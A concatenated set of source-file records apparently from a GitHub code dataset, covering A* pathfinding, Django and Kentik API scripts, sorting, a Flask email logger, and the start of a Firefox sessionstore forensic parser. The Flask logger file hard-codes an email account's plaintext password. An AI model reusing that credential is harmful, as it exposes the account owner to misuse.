closed_list:\n                continue\n            if cell.discovered or cell.blocked:\n                continue\n\n            # update value if already exists in open_list\n            for cell_tuple in open_list:\n                if cell_tuple[1].x == cell.x and cell_tuple[1].y == cell.y:\n                    open_list.remove(cell_tuple)\n                    heapq.heapify(open_list)\n                    break\n\n            if len(open_list) != 0:\n                minGval = heapq.heappop(open_list)\n                minGval = minGval[1]\n\n                if cell.f == minGval.f:\n                    # Tie Break\n                    if tie:  # Use small g\n                        if cell.h < minGval.h:\n                            heapq.heappush(open_list, (minGval.f, minGval))\n                            minGval = cell\n                            heapq.heappush(open_list, (minGval.f, minGval))\n                        else:\n                            heapq.heappush(open_list, (minGval.f, minGval))\n                            heapq.heappush(open_list, (cell.f, cell))\n                    else:  # Use Large g\n                        '''if cell.h < minGval.h:\n                            heapq.heappush(open_list, (minGval.f, minGval))\n                            minGval = cell\n                            heapq.heappush(open_list, (minGval.f, minGval))'''\n\n                else:\n                    heapq.heappush(open_list, (minGval.f, minGval))\n                    heapq.heappush(open_list,(cell.f, cell))\n            else:\n                heapq.heappush(open_list, (cell.f, cell))\n\n            cell.discovered = True\n            if cell != start_cell and cell != target_cell:\n                discovered_nodes_count += 1\n                pygame.draw.rect(screen, PURPLE, (cell.x * width, cell.y * width, width, width))\n            cell.parent = curr_cell\n    return None\n\n\"forwardAStar()::- Runs the Forward A* search\"\ndef forwardAStar(agent_initial_cell, target_cell, gridworld, tie):\n\n    start_state = agent_initial_cell\n    while(1):\n        path,closed_list = computePathForward(start_state, target_cell, gridworld, tie)\n\n        if path is None:\n            print(\"no path\")\n            return None, None\n        start_state = path[len(path)-1]\n\n        if start_state.x == target_cell.x and start_state.y == target_cell.y:\n            return path, closed_list\n\n    return None, None\n\n\"backwardAStar()::- Runs the Backward A* search\"\ndef backwardAStar(agent_initial_cell, target_cell, gridworld, tie):\n\n    while (1):\n        path = computePathBackward(agent_initial_cell, target_cell, gridworld, tie)\n\n        if path is None:\n            print(\"no path\")\n            return\n\n        agent_initial_cell = path[len(path) - 1]\n        if agent_initial_cell.x == target_cell.x and agent_initial_cell.y == target_cell.y:\n            break\n\n\"adaptiveAstar()::- Runs the AdaptiveA* search\"\ndef adaptiveAstar(start_cell, target_cell, gridworld, tie):\n    global discovered_nodes_count\n\n    while(1):\n\n        path, closedlist = forwardAStar(start_cell, target_cell, gridworld, tie)\n\n        if path is None:\n            print(\"No possible path\")\n            return\n        cost = len(path)-1\n        reset_maze(gridworld, True)\n        gridworld[agent_initial_cell.x][agent_initial_cell.y].g = 0\n        gridworld[target_cell.x][target_cell.y].h = 0\n\n        for cell in closedlist:\n            cell.setHNewVal(cost)\n\n        closedlist = []\n        openlist = []\n\n        heapq.heappush(openlist, (start_cell.f, start_cell))\n\n        while(len(openlist) > 0):\n            curr_cell_tuple = heapq.heappop(openlist)\n            curr_cell = curr_cell_tuple[1]\n\n            if curr_cell.x == target_cell.x and curr_cell.y == target_cell.y:\n                path_tuple =  constructPath(start_cell, curr_cell), closedlist\n                return path_tuple\n\n            closedlist.append(curr_cell)\n\n            i = curr_cell.x\n            j = curr_cell.y\n            print(i,j)\n            # Calculate all neighbors\n            neighbors = []\n            if(i > 0):\n                neighbors.append(gridworld[i-1][j])\n            if(i < (len(gridworld[0]) - 2)):\n                neighbors.append(gridworld[i+1][j])\n            if(j > 0):\n                neighbors.append(gridworld[i][j-1])\n            if(j < (len(gridworld[0]) - 2)):\n                neighbors.append(gridworld[i][j+1])\n\n            curr_cell.set_neighbors(neighbors)\n            curr_cell.set_Aneighbors(neighbors, target_cell, cost)\n            neighbors = curr_cell.neighbors\n\n            for cell in neighbors:\n                if cell in closedlist:\n                    continue\n                if cell.discovered or cell.blocked:\n                    continue\n                for cell_tuple in openlist:\n                    if cell_tuple[1].x == cell.x and cell_tuple[1].y == cell.y:\n                        openlist.remove(cell_tuple)\n                        heapq.heapify(openlist)\n                        break\n                if len(openlist) != 0:\n                    minGval = heapq.heappop(openlist)\n                    minGval = minGval[1]\n\n                    if cell.f == minGval.f:\n                        # Tie Break\n                        if tie:  # Use small g\n                            if cell.g < minGval.g:\n                                heapq.heappush(openlist, (minGval.f, minGval))\n                                minGval = cell\n                                heapq.heappush(openlist, (minGval.f, minGval))\n                            else:\n                                heapq.heappush(openlist, (minGval.f, minGval))\n                                heapq.heappush(openlist, (cell.f, cell))\n                        else:  # Use Large g\n                            '''if cell.h < minGval.h:\n                                heapq.heappush(open_list, (minGval.f, minGval))\n                                minGval = cell\n                                heapq.heappush(open_list, (minGval.f, minGval))'''\n\n                    else:\n                        heapq.heappush(openlist, (minGval.f, minGval))\n                        heapq.heappush(openlist,(cell.f, cell))\n                else:\n                    heapq.heappush(openlist, (cell.f, cell))\n\n                cell.discovered = True\n                if cell != start_cell and cell != target_cell:\n                    discovered_nodes_count += 1\n                    pygame.draw.rect(screen, PURPLE, (cell.x * width, cell.y * width, width, width))\n                cell.parent = curr_cell\n        print(\"EXIT\")\n        return None\n\n\n\"draw_cell()::- Colors the bloced cells BLACK and unblocked cells WHITE\"\ndef draw_cell(cell):\n    if cell.blocked:\n        pygame.draw.rect(screen, BLACK, (cell.x * width, cell.y * width, width, width))\n    else:\n        pygame.draw.rect(screen, WHITE, (cell.x * width, cell.y * width, width, width))\n\n\"create_maze()::- Generates a maze with randomly blocked and unblocked cells\"\ndef create_maze():\n\n    # Num rows and cols\n    num_rows = int(screen_size[0] / width)\n    num_cols = int(screen_size[1] / width)\n\n    global stack\n    stack = []\n    gridworld = []\n\n    #  Create grid of cells\n    for x in range(num_rows):\n        gridworld.append([])\n        for y in range(num_cols):\n            cell = Cell(x, y)\n            gridworld[x].append(cell)\n\n    # Mark cells blocked or unblocked with probability\n    for x in range(num_rows):\n        for y in range(num_cols):\n            choice = np.random.choice(['blocked', 'unblocked'], 1, p=[0.3, 0.7])\n            if choice == 'blocked':\n                gridworld[x][y].blocked = True\n\n    count = 0\n\n    while count != 1:\n        if count == 0:\n            #screen.fill(GRAY)\n\n            # Mark current cell as visited\n            #current_cell.visited = True\n\n            # Draw current cell\n            for y in range(num_rows):\n                for x in range(num_cols):\n                    draw_cell(gridworld[y][x])\n\n        if len(stack) == 0:\n\n            count = 1\n\n\n        #pygame.display.flip()\n\n    return gridworld\n\n\"create_agent_target()::- Randomly places the Agent and the Target on the maze\"\ndef create_agent_target(gridworld):\n\n\n    global agent_initial_cell\n\n    agent_initial_cell = rand.choice(rand.choice(gridworld))\n\n    #########\n    #agent_initial_cell.x = 0\n\n    while agent_initial_cell.blocked:\n        agent_initial_cell = rand.choice(rand.choice(gridworld))\n        ######\n        #agent_initial_cell.x = 0\n\n    pygame.draw.rect(screen, GREEN, (agent_initial_cell.x * width, agent_initial_cell.y * width, width, width))\n\n    global target_cell\n\n    target_cell = rand.choice(rand.choice(gridworld))\n\n    ########\n    #target_cell.x = num_cols - 1\n\n    while target_cell.blocked:\n        target_cell = rand.choice(rand.choice(gridworld))\n        ########\n        #target_cell.x = num_cols - 1\n        # target_cell.y = num_rows - 5\n    pygame.draw.rect(screen, RED, (target_cell.x * width, target_cell.y * width, width, width))\n\n    return (agent_initial_cell, target_cell)\n\n\"start_game()::- Begins the pygame for visualization\"\ndef start_game(agent_initial_cell, target_cell, gridworld, forward_backward_adaptive, gridcount):\n    done = False\n    clock = pygame.time.Clock()\n    count1 = 0\n\n    while not done:\n        '''for e in pygame.event.get():\n            if e.type == pygame.KEYDOWN:\n                if e.key == pygame.K_SPACE:\n                    if forward_backward_adaptive == 0:\n                        pygame.image.save(screen, \"Forward_Grid_%d.jpeg\" % gridcount)\n                    elif forward_backward_adaptive == 1:\n                        pygame.image.save(screen, \"Backward_Grid_%d.jpeg\" % gridcount)\n                    elif forward_backward_adaptive == 2:\n                        pygame.image.save(screen, \"Adaptive_Grid_%d.jpeg\" %gridcount)\n                    done = True\n            if e.type == pygame.QUIT:\n                done = True\n                break'''\n\n        if count1 == 0:\n            if forward_backward_adaptive == 0:\n                forwardAStar(agent_initial_cell, target_cell, gridworld, True)\n            elif forward_backward_adaptive == 1:\n                backwardAStar(agent_initial_cell, target_cell, gridworld, True)\n            elif forward_backward_adaptive == 2:\n                final_a_path = adaptiveAstar(agent_initial_cell, target_cell, gridworld, True)\n                print(final_a_path[0])\n            if forward_backward_adaptive == 0:\n                print(\"Discovered: %d nodes in Forward A*\" % discovered_nodes_count)\n                pygame.image.save(screen, \"Forward_Grid_%d.jpeg\" % gridcount)\n\n                f_forward = open(\"Log_Forward_A_Star.txt\", \"a+\")\n                f_forward.write(\"Forward A* Discovered: %d\\r\\n\" % discovered_nodes_count)\n                f_forward.close()\n                done = True\n            elif forward_backward_adaptive == 1:\n                print(\"Discovered: %d nodes in Backward A*\" % discovered_nodes_count)\n                pygame.image.save(screen, \"Backward_Grid_%d.jpeg\" % gridcount)\n\n                f_backward = open(\"Log_Backward_A_Star.txt\", \"a+\")\n                f_backward.write(\"Backward A* Discovered: %d\\r\\n\" % discovered_nodes_count)\n                f_backward.close()\n                done = True\n            elif forward_backward_adaptive == 2:\n                print(\"Discovered: %d nodes in Adaptive A*\" % discovered_nodes_count)\n                pygame.image.save(screen, \"Adaptive_Grid_%d.jpeg\" % gridcount)\n\n                f_backward = open(\"Log_Adaptive_A_Star.txt\", \"a+\")\n                f_backward.write(\"Adaptive A* Discovered: %d\\r\\n\" % discovered_nodes_count)\n                f_backward.close()\n                done = True\n                pass\n\n            count1 = 1\n        pygame.display.flip()\n        pygame.time.delay(10)\n        clock.tick(30)\n\n\"set_hg_in_maze()::- Depending on forward or backward sets the H or G values in the maze\"\ndef set_hg_in_maze(generated_maze, hVal):\n\n    if hVal:\n        num_rows = int(screen_size[0] / width)\n        num_cols = int(screen_size[1] / width)\n\n        for x in range(num_rows):\n            for y in range(num_cols):\n                generated_maze[x][y].set_h_value(target_cell.x, target_cell.y)\n\n    else:\n        num_rows = int(screen_size[0] / width)\n        num_cols = int(screen_size[1] / width)\n\n        for x in range(num_rows):\n            for y in range(num_cols):\n                generated_maze[x][y].set_g_value(agent_initial_cell.x, agent_initial_cell.y)\n\n\"reset_maze()::- Reset each cell in the maze to its original configuration\"\ndef reset_maze(generated_maze, adaptive):\n    agent_initial_cell\n    num_rows = int(screen_size[0] / width)\n    num_cols = int(screen_size[1] / width)\n\n    for x in range(num_rows):\n        for y in range(num_cols):\n            if generated_maze[x][y].discovered or generated_maze[x][y].visited:\n                generated_maze[x][y].reset_cell(adaptive)\n                pygame.draw.rect(screen, WHITE, (x * width, y * width, width, width))\n    pygame.draw.rect(screen, GREEN, (agent_initial_cell.x * width, agent_initial_cell.y * width, width, width))\n    pygame.draw.rect(screen, RED, (target_cell.x * width, target_cell.y * width, width, width))\n\n\n\n\"Runs the program 50 to generate 50 screenshots of the forward and backward searches\"\nfor create_fifty in range(11 ):\n    generated_maze = create_maze()\n    complete_maze = create_agent_target(generated_maze)\n    set_hg_in_maze(generated_maze, True)  # True to run forward A*\n    discovered_nodes_count = 0\n    start_game(complete_maze[0], complete_maze[1], generated_maze, 0, create_fifty)\n    reset_maze(generated_maze, False)\n    set_hg_in_maze(generated_maze, False)  # False to run backward A*\n    discovered_nodes_count = 0\n    start_game(complete_maze[0], complete_maze[1], generated_maze, 1, create_fifty)\n    reset_maze(generated_maze, True)\n    discovered_nodes_count = 0\n    set_hg_in_maze(generated_maze, True)  # True to run forward A*\n    start_game(complete_maze[0], complete_maze[1], generated_maze, 2, create_fifty)\n","repo_name":"yugantjoshi/repeated-a-star","sub_path":"Gridworld_v1.py","file_name":"Gridworld_v1.py","file_ext":"py","file_size_in_byte":20617,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"32409115350","text":"from zope.component import getAdapters\nfrom zojax.content.type.interfaces import IDraftedContent\nfrom zojax.content.actions.interfaces import IContextAction\n\n\nclass ContextActions(object):\n\n    def update(self):\n        super(ContextActions, self).update()\n\n        context = self.context\n        request = self.request\n\n        actions = []\n        for name, action in getAdapters((context, request), IContextAction):\n            if action.isAvailable():\n                actions.append((action.weight, action.title, action))\n\n        actions.sort()\n        self.actions = [action for _w, _t, action in actions]\n\n    def isAvailable(self):\n        if IDraftedContent.providedBy(self.context):\n            return False\n\n        return bool(self.actions)\n","repo_name":"Zojax/zojax.content.actions","sub_path":"src/zojax/content/actions/contextactions.py","file_name":"contextactions.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"30342993437","text":"\"\"\"\n    Command line utility to load Farmer data from CSV.\n\"\"\"\n\"\"\"\nUpload CSV to farmer model using command line.\n\"\"\"\nimport csv\nfrom django.conf import settings\nfrom mapapi.models import Farmer\nfrom django.core.management.base import BaseCommand\n\nclass Command(BaseCommand):\n    help = 'Load data from Farmer details file'\n\n    def add_arguments(self, parser):\n        \"\"\" Read args from command line. \"\"\"\n        parser.add_argument('-n', '--name', type=str, help='File name(file in data dir) to CSV file to import data.')\n    \n    def handle(self, *args, **kwargs):\n        \"\"\" Handle command from CLI \"\"\"\n        fpath = kwargs['name']\n        data_file = settings.BASE_DIR / 'data' / fpath\n        fields = ('Sr. No', 'Year', 'Name of Farmers', 'Phone No', 'Village', 'GP', 'Block/ Tahsil',\\\n                  'District', 'State', 'Amount', 'Latitude', 'Longitude', 'Remarks', 'UID')\n        records = []\n        try:\n            with open(data_file, 'r') as csvfile:\n                count = 0\n                reader = csv.DictReader(csvfile, fields)\n                for row in reader:\n                    if count > 0:\n                        records.append({k: row[k] for k in fields})\n                    count += 1\n        except FileNotFoundError as fnf:\n            raise fnf\n        for record in records:\n            # add the data to the database\n            Farmer.objects.get_or_create(\n                name=record['Name of Farmers'], year=record['Year'], \n                phone=record['Phone No'], village=record['Village'],\n                gp=record['GP'], block_tahsil=record['Block/ Tahsil'],\n                district=record['District'], state=record['State'],\n                amount=record['Amount'], latitude=record['Latitude'],\n                longitude=record['Longitude'], remarks=record['Remarks'],\n                uid=record['UID']\n            )\n\n","repo_name":"parveenjangra290/django-vue-leaflet","sub_path":"web_mapping/mapapi/management/commands/upload_farmer.py","file_name":"upload_farmer.py","file_ext":"py","file_size_in_byte":1874,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"5774104566","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[16]:\n\nfrom tqdm import tqdm \nfrom biofunctions.utils.hamming_distance import hamming_distance\n# Find the Motif by using a median string that minimizes hamming distance among all possible choices of k-mers.\ndef MedianString(sequence,k):\n    sequence = [s for s in sequence.split() if s]\n    kmerList = []\n    for line in tqdm(sequence):\n        len_line=len(line)\n        String = line\n        for i in range(len_line - k+1):\n            pattern = line[i:i+k]\n            if pattern not in kmerList:\n                kmerList.append(pattern)            \n        distance = float('inf')\n        for kmer in kmerList:\n            for i in range(len_line - k+1):\n                if distance > hamming_distance(kmer, line[i:i+k]):\n                    distance = hamming_distance(kmer, line[i:i+k])\n                    Median = kmer\n    print(Median)\n\n","repo_name":"Neurojedi/Biofunctions","sub_path":"motifs/MedianString.py","file_name":"MedianString.py","file_ext":"py","file_size_in_byte":889,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"11288448382","text":"# -*- coding:utf-8 -*-\n\n\"\"\"\nauthor:zcj\ncreate:2017.11.23\nfun:\n\"\"\"\n\nimport logging\nfrom logging import Formatter, getLogger\nfrom logging.handlers import SMTPHandler\n\nfrom app import app\n\nmail_handler = SMTPHandler('smtp.163.com', 'cj_zuo@163.com', app.config['EMAIL'], 'logging from my flask app',\n                           credentials=('cj_zuo@163.com', 'zcj19901202'), secure=())\nmail_handler.setLevel(logging.WARNING)\nmail_handler.setFormatter(Formatter('''\nMessage type:               %(levelname)s\nLocation:                   %(pathname)s:%(lineno)d\nModule:                     %(modules)s\nFunction:                   %(funcName)s\nTime:                       %(asctime)s\nMessage:\n\n%(message)s\n'''))\n\nloggers = [app.logger, getLogger('sqlalchemy'), getLogger('otherlibrary')]\nfor logger in loggers:\n    logger.addHandler(mail_handler)\n","repo_name":"zuocaijian/flask","sub_path":"app/log_utils.py","file_name":"log_utils.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"18098603099","text":"import argparse\nimport logging\n\nimport yaml\n\nfrom kentik_api import KentikAPI, User\nfrom kentik_api.utils import get_credentials\n\nlogging.basicConfig(level=logging.INFO)\n\n\ndef load_kentik_users_from_file(filename):\n    with open(filename, \"r\") as users_yaml_file:\n        users_from_file = yaml.load(users_yaml_file, yaml.FullLoader)[\"users\"]\n        return [User(**user) for user in users_from_file]\n        # Calls kentik_api.User(full_name=user[\"full_name\"], email=user[\"email\"], role=user[\"role\"],\n        #                       email_service=user[\"email_service\"], email_product=user[\"email_product\"])\n        # for each entry in the file\n\n\ndef create_users_in_kentik_api(api_client, users):\n    result = []\n    for user in users:\n        result.append(api_client.users.create(user))\n    return result\n\n\ndef delete_users_from_kentik_api(api_client, users):\n    for user in users:\n        api_client.users.delete(user.id)\n\n\ndef print_users(users):\n    for user in users:\n        print(user.full_name, user.created_date)\n\n\ndef print_all_users(api_client):\n    print(\"All users:\")\n    users = api_client.users.get_all()\n    print_users(users)\n\n\ndef get_users_filename() -> str:\n    parser = argparse.ArgumentParser(description=\"Load users from file and create them in Kentik API.\")\n    parser.add_argument(\n        \"--filename\",\n        dest=\"filename\",\n        default=\"users.yaml\",\n        help=\"path to a YAML file containing Kentik Users\",\n    )\n    parser.add_argument(\"--email\", dest=\"email\", help=\"email to be used to authenticate with Kentik API\")\n    parser.add_argument(\n        \"--token\",\n        dest=\"token\",\n        help=\"API token to be used to authenticate with Kentik API\",\n    )\n    args = parser.parse_args()\n    return args.filename\n\n\nif __name__ == \"__main__\":\n    email, token = get_credentials()\n    client = KentikAPI(email, token)\n\n    print_all_users(client)\n    print()\n\n    kentik_users = load_kentik_users_from_file(get_users_filename())\n    created_users = create_users_in_kentik_api(client, kentik_users)\n    print(\"Users created:\")\n    print_users(created_users)\n    print()\n\n    print(\"Delete created users...\")\n    delete_users_from_kentik_api(client, created_users)\n    print(\"Done\")\n","repo_name":"kentik/community_sdk_python","sub_path":"examples/bulk_user_create.py","file_name":"bulk_user_create.py","file_ext":"py","file_size_in_byte":2222,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"3"}
+{"seq_id":"70047121041","text":"import ThirdFile\r\nimport time\r\n\r\ndef insertionSort(arr,dict1,file,x,y,w2,w, grouped):\r\n    start_time1 = time.time()\r\n    for index in range(1, len(arr)):\r\n        currentValue = arr[index]\r\n        currentPosition = index\r\n\r\n        while currentPosition > 0 and arr[currentPosition - 1] > currentValue:\r\n            arr[currentPosition] = arr[currentPosition -1]\r\n            currentPosition = currentPosition - 1\r\n\r\n        arr[currentPosition] = currentValue\r\n\r\n        if grouped > 0:\r\n            new_dict = {}\r\n            for i in range(len(arr)):\r\n                key = arr[i]\r\n                item = (dict1[key])\r\n                new_dict[key] = item\r\n            items = list(new_dict.items())\r\n            random_dict = {}\r\n            print(\"####################################################\")\r\n            print(new_dict)\r\n            for i in items:\r\n                #print(i)\r\n                dict5 = (i[1])\r\n                #print(dict5)\r\n                dict6 = list(dict5.items())\r\n                for i,j in dict6:\r\n                    random_dict[i] = j\r\n            print(random_dict)\r\n            ThirdFile.creating_image(random_dict,file,x,y,w2)\r\n\r\n        else:\r\n            new_dict = {}\r\n            for i in range(len(arr)):\r\n                key = arr[i]\r\n                item = (dict1[key])\r\n                new_dict[key] = item\r\n            #print(new_dict)\r\n            print()\r\n            ThirdFile.creating_image(new_dict,file,x,y,w2)\r\n\r\n    print(\"DONEEEEEEEE\")\r\n    time_taken= time.time() - start_time1\r\n    w.time_take(time_taken)\r\n\r\n# arr = [6,4,5,2,9,1]\r\n# insertionSort(arr,{6:1,4:2,5:3,2:4,9:5,1:6},\"s\",\"b\",\"bh\",5,1)\r\n\r\n\r\n#32x32 in 21.8 seconds","repo_name":"Dightful/Visual-Representation-of-Sorting-Algorithms","sub_path":"NEA visual representation of sorting algos/insertion_sort.py","file_name":"insertion_sort.py","file_ext":"py","file_size_in_byte":1689,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"26167855362","text":"# Name:\t\tsessionstore-parse.py\r\n# Author:\tRichard ROSALION\r\n# Date:\t\tMarch, 2012\r\n# Notes:\tTool to parse partial (or complete) JSON records\r\n#               from Firefox sessionstore.js\r\n# Revisions:\r\n# \t\t1.0     15/03/2012  Initial Version\r\n\r\n\r\nimport re, csv, collections, sys, inspect, time\r\nfrom progressbar import *\r\n\r\n# Debugging and user feedback options\r\nLOOPFEEDBACK = 10\r\nDEBUGLEVEL = 1\r\n\r\n# Which fields do we want to capture\r\nFIELDS = ['lastUpdated','url','title','ID','referrer','scroll','subframe','Path']\r\n\r\n\r\n\"\"\"\r\nConverts an UNIX date-time integer into a string in an excel-friendly format\r\nTime is seconds since 1/1/1970\r\n\"\"\"\r\ndef intUnixMSToDateTime(intUnixDateTime):\r\n    inLocal = time.localtime(intUnixDateTime/1000)\r\n    return time.strftime(\"%d-%b-%Y %H:%M:%S\",inLocal)\r\n\r\n\r\n\"\"\" Open a file for reading/writing (with error checking) \"\"\"\r\ndef openFile(fileName, openType, defaultFile=sys.stdout,newline='\\n'):\r\n        if (fileName == \"\"):\r\n                fileObject = defaultFile\r\n        else:\r\n                try: fileObject = open(fileName, openType, newline=newline)\r\n                except IOError:\r\n                        print(\"Error in trying to open the file %s. Check that the file exists.\" % (fileName))\r\n                        raise\r\n\r\n        return fileObject\r\n\r\n\"\"\" Print a debug message if the current DEBUGLEVEL is set, including the calling function \"\"\"\r\ndef debugMessage(message, messageDebugLevel = 10):\r\n        if DEBUGLEVEL >= messageDebugLevel:\r\n                indent = \"  \" * len(inspect.stack())\r\n                print(\"%s%s: %s\" % (indent, whoParent(), message), file=sys.stderr)\r\n\r\n\"\"\" Return the name of the current function \"\"\"                \r\ndef whoAmI():\r\n        return inspect.stack()[1][3]\r\n\r\n\"\"\" Return the name of the parent function\"\"\"\r\ndef whoParent():\r\n        return inspect.stack()[2][3]\r\n    \r\n\r\nclass csvWriter:\r\n    fields = []\r\n    _outFile = None\r\n    _outWriter = None\r\n    \r\n    def __init__(self, fields, outFile, mode='w'):\r\n        # Setup CSV File\r\n        self._fields = fields\r\n        self._outFile = openFile(outFile,mode,newline='')\r\n        self._outWriter = csv.writer(self._outFile)\r\n        # Write Header\r\n        if '+' not in mode:\r\n            self._outWriter.writerow(self._fields)\r\n\r\n        debugMessage(\"Setup CSV File '%s' with fields: %s'\" % (outFile, fields), 1)\r\n\r\n    def writerow(self, dictRow):\r\n        # Convert dictionary to ordered list\r\n        listRow = []\r\n        for field in self._fields:\r\n            # Add value if it exists in dictionary\r\n            if field in dictRow.keys():\r\n                debugMessage(\"Found value for '%s' = '%s'\" % (field, dictRow[field]), 20)\r\n                listRow.append(dictRow[field])\r\n            # Otherwise, add a blank record\r\n            else:\r\n                debugMessage(\"No value found for '%s'. Printing blank field.\", 20)\r\n                listRow.append(None)\r\n\r\n        # Write row to CSV\r\n        debugMessage(\"Attempting to write: %s\" % listRow, 15)\r\n        self._outWriter.writerow(listRow)\r\n\r\n    def close(self):\r\n        self._outFile.close()\r\n        \r\n                \r\n        \r\nclass textTree:\r\n    openLevel = \"[\"\r\n    closeLevel = \"]\"\r\n    ignoreBetween = \"\\\"\"\r\n    _currPos = 0\r\n    _text = \"\"\r\n\r\n    def __init__(self, text, currPos = -1, openLevel=\"[\", closeLevel=\"]\", ignoreBetween=\"\\\"\"):\r\n        self._text = text\r\n        self.openLevel = openLevel\r\n        self.closeLevel = closeLevel\r\n        self.ignoreBetween = ignoreBetween\r\n        \r\n        if currPos == -1 or currPos >= len(text):\r\n            self._currPos = len(text)-1\r\n        else:\r\n            self._currPos = currPos\r\n\r\n    def nextUpTreeReverse(self):\r\n\r\n        # Navigate back down string tree, work out full tree path to current node\r\n        treeLevel = 0\r\n\r\n        # Start just before selected location\r\n        debugMessage(\"Finding previous opening bracket from offset %d\" % (self._currPos), 20)\r\n\r\n        while self._currPos > 0:\r\n\r\n                # If we find the next level, we're done\r\n                if treeLevel < 0:\r\n                        debugMessage(\"Found matching bracket\")\r\n                        break\r\n\r\n                # Otherwise, take a look at the previous character\r\n                self._currPos -= 1\r\n                currChar = self._text[self._currPos]\r\n\r\n                # If we come across an \"ignoreBetween\" character, skip back until\r\n                # the matching character - this is to ignore quoted sections\r\n                if currChar in self.ignoreBetween:\r\n                        matchingQuote = self._text.rfind(currChar, 0, self._currPos)\r\n                        self._currPos = matchingQuote - 1\r\n                        continue\r\n\r\n                # Otherwise, we only care about opening/closing brackets\r\n                elif currChar in self.openLevel:\r\n                    treeLevel -= 1\r\n                elif currChar in self.closeLevel:\r\n                    treeLevel += 1\r\n        \r\n\r\n\r\ndef parseJsonEntry(jsonEntry):\r\n\r\n    # Treat jsonEntry as CSV, to separate out each key/value pair\r\n    lineRead = csv.reader([jsonEntry])\r\n    for arrEntry in lineRead:\r\n\r\n        # For each field, read fields as CSV with \":\" separator\r\n        fields = csv.reader(arrEntry, delimiter=\":\")\r\n\r\n        # Write fields to dictionary\r\n        UrlRecord = {}\r\n        for field in fields:\r\n            key = field[0].strip('\\{\\[\\\"')\r\n            value = field[1].strip('\\{\\[\\\"')\r\n\r\n            # Create record to hold entry\r\n            if key in FIELDS:\r\n                UrlRecord[key] = value\r\n                debugMessage(\"\\tADDED\\t%s: %s\" % (key, value), 15)\r\n            else:\r\n                debugMessage(\"\\tIGNORED\\t%s: %s\" % (key, value), 15)\r\n\r\n        # Return dictionary\r\n        return UrlRecord\r\n\r\n\r\n\r\ndef findJsonEntries(jsonBlob, showFeedback=True, csvWriter=None):\r\n    entryOffsets = []\r\n\r\n    # Do we need to show progress bars?\r\n    if showFeedback and DEBUGLEVEL == 0: needFeedback = True\r\n    else: needFeedback = False\r\n\r\n    ##########################################\r\n    # RUN REGEX TO FIND ENTRIES\r\n    ##########################################\r\n\r\n    # Setup Progress Bar for Regex Search\r\n    if needFeedback:\r\n        widgets = ['Running Search: ', Percentage(), ' ', Bar(), ETA()]\r\n        pbar = ProgressBar(widgets=widgets, maxval=len(jsonBlob)).start()\r\n\r\n    # First, find all occurances of `{\"url\":`\r\n    debugMessage(\"Finding URL Entries\", 1)\r\n    for result in re.finditer(\"\\{\\\"url\\\"\\:\", jsonBlob):\r\n        if needFeedback: pbar.update(result.start())\r\n        entryOffsets.append(result.start())\r\n\r\n    # See if there's a date/\"lastupdate\" (if so, it becomes the date for all entries found)\r\n    lastUpdatePretext = \"\\\"lastUpdate\\\":\"\r\n    for result in re.finditer(lastUpdatePretext + \"[0-9]*}\", jsonBlob):\r\n        # Pull date/time value from string\r\n        dateTimeStart = result.start()+len(lastUpdatePretext)\r\n        dateTimeEnd = result.end()-1\r\n        strUnixDateTime = jsonBlob[dateTimeStart:dateTimeEnd]\r\n        # Convert to INT\r\n        intUnixDateTime = int(strUnixDateTime)\r\n        # and to printable string\r\n        strLastUpdated = intUnixMSToDateTime(intUnixDateTime)\r\n\r\n    ##########################################\r\n    # PROCESS INDIVIDUAL ENTRIES\r\n    ##########################################\r\n    \r\n    # Setup Progress Bar for Processing Entries\r\n    debugMessage(\"Processing URL Entries\", 1)\r\n    if needFeedback:\r\n        widgets = ['Processing URL Entries: ', Percentage(), ' ', Bar(), ETA()]\r\n        pbar = ProgressBar(widgets=widgets, maxval=len(entryOffsets)).start()\r\n\r\n    # Now, process each occurance\r\n    for i in range(len(entryOffsets)):\r\n\r\n        if needFeedback and not (i % LOOPFEEDBACK): pbar.update(i)\r\n\r\n        debugMessage(\"%d/%d. Offset=%d\" % (i+1, len(entryOffsets), entryOffsets[i]), 10)\r\n\r\n        # Start where the current \"hit\" was found\r\n        start = entryOffsets[i]\r\n        # End where the next hit is found (or, at the end of the string)\r\n        if len(entryOffsets)-1 == i:\r\n            end = len(jsonBlob)\r\n        else:\r\n            end = entryOffsets[i+1]\r\n        \r\n        # Starting with the opening \"{\", look for the matching closing bracket\r\n        treeLevel = 0\r\n        for currPos in range(start+1, end):\r\n            # If we've found the closing bracket for the current section, we're done.\r\n            if treeLevel < 0:\r\n                break\r\n            # Otherwise, find the closing bracket!\r\n            if jsonBlob[currPos] == '{':\r\n                treeLevel += 1\r\n            if jsonBlob[currPos] == '}':\r\n                treeLevel -= 1\r\n\r\n        end = currPos\r\n\r\n        # Strip leading and closing characters\r\n        # strJsonEntry should be a flat string something like:\r\n        # \"url\":\"http://ebay\",\"title\":\"My eBay: Messages: Inbox\",\"subframe\":true,\"ID\":1471\r\n        strJsonEntry = jsonBlob[start:end].strip(\"\\{\\}\\[\\]\")\r\n        debugMessage(\"Found JSON Entry: %s\" % jsonBlob[start:end], 10)\r\n\r\n        # Convert string jsonEntry to Dictionary\r\n        jsonEntry = parseJsonEntry(strJsonEntry)\r\n\r\n        # Navigate back down JSON string to work out path to current node\r\n        treePath = \"\"\r\n        tt = textTree(jsonBlob, currPos=start,openLevel=\"[\",closeLevel=\"]\")\r\n        \r\n        while tt._currPos > 0:\r\n                \r\n                # Find the previous opening bracket\r\n                tt.nextUpTreeReverse()\r\n                if tt._currPos == 0: break\r\n                \r\n                # Get the name of this node\r\n                startNodeName = jsonBlob.rfind('\"', 0, tt._currPos-len('\":['))+1\r\n                nodeName = jsonBlob[startNodeName:tt._currPos-len('\":')]\r\n                treePath = '%s/%s' % (nodeName, treePath)\r\n\r\n        # Set additional 